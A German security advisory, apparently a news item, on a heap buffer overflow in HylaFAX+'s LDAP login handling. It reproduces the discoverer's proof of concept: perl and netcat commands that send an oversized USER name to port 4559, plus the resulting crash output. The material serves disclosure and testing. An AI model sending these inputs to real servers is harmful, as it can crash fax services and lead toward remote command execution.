Hylafax+: Schwachstelle lässt Angreifer Befehle ausführen

Eine Sicherheitslücke in der Fax-Software Hylafax+ hat zur Folge, dass ein entfernter Angreifer Befehle mit den Rechten des Dienstes “hfaxd” ausführen kann. Dabei handelt es sich gewöhnlich um die Berechtigungen des Systemkontos “uucp”. Das Problem tritt nur auf Systemen mit Unterstützung für LDAP-Authentisierung auf.

Das Problem besteht darin, dass im LDAP-Mechanismus des Codes ein fester 255-Byte Puffer verwendet wird, der sich durch Benutzereingaben via “strcats()” zum Überlaufen bringen lässt. Ein Angreifer kann dies zum Ausführen von Befehlen ausnutzen.

Einen Proof-of-Concept-Exploit hat Dennis Jenkins, Entdecker der Schwachstelle, auf der Bugtraq-Mailingliste beschrieben:

1) man aktiviert die LDAP-Authentisierung für “hfaxd”. Dazu braucht kein funktionierender LDAP-Server zur Verfügung zu stehen. Es genügt, “LDAPServerURI:” in der Datei “/usr/local/lib/fax/hfaxd.conf” zu setzen.

# grep "^LDAPServerURI" /usr/local/lib/fax/hfaxd.conf
LDAPServerURI: ldap://127.0.0.1:389

2) Man startet den “hfaxd”-Prozess. Lässt man ihn innerhalb von Valgrind laufen, kann man später den Heap Overwrite aufspüren:

# valgrind ./hfaxd/hfaxd -c /usr/local/lib/fax/hfaxd.conf -l
192.168.2.33 -q /var/spool/fax -i hylafax -d

3) Das folgende Skript lässt man auf einer Client-Maschine laufen. Achtung: Beim Testen auf der selben Maschine sollte man nicht die Adresse “localhost” oder 127.0.0.1 verwenden, denn dann wird das LDAP nicht aufgerufen.

# # Test authentication without buffer overflow:
# perl -le 'print "USER ".("x"x10)."12345\nPASS test-ldap\nQUIT\n\n" '
| nc -q 5:5 192.168.2.33 4559

Auf dem Client ist dann Folgendes zu sehen:

nc: using stream socket
220 localhost server (HylaFAX (tm) Version 5.5.4) ready.
331 Password required for xxxxxxxxxx12345.
530 Bind LDAP error -1: Can't contact LDAP server
530 Login incorrect.

4) Man testet noch einmal, erhöht aber die Datenmenge in “USER” erheblich, um den Heap zu überschreiben:

# perl -le 'print "USER ".("x"x500)."12345\nPASS test-ldap\nQUIT\n\n"
' | nc -q 5:5 192.168.2.33 4559

Auf dem Client zeigt sich:

220 localhost server (HylaFAX (tm) Version 5.5.4) ready.
331 Password required for
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx1234
5.

Die Verbindung hängt, bis Netcat eine Zeitüberschreitung registriert.

Auf dem Server gibt Valgrind eine Menge Informationen aus, die letzten Zeilen lauten:

--15348-- VALGRIND INTERNAL ERROR: Valgrind received a signal 11
(SIGSEGV) - exiting
--15348-- si_code=80; Faulting address: 0x0; sp: 0x402f3adf0
valgrind: the 'impossible' happened:
Killed by fatal signal
==15348== at 0x38062496: vgPlain_arena_malloc (m_mallocfree.c:291)
==15348== by 0x380294E4: vgMemCheck_new_block (mc_malloc_wrappers.c:263)
==15348== by 0x3802967A: vgMemCheck_malloc (mc_malloc_wrappers.c:301)
==15348== by 0x3809CEED: vgPlain_scheduler (scheduler.c:1665)
==15348== by 0x380AC5A5: run_a_thread_NORETURN (syswrap-linux.c:103)

Betroffen sind die Hylafax+-Versionen 5.2.4 bis 5.5.3

Nach oben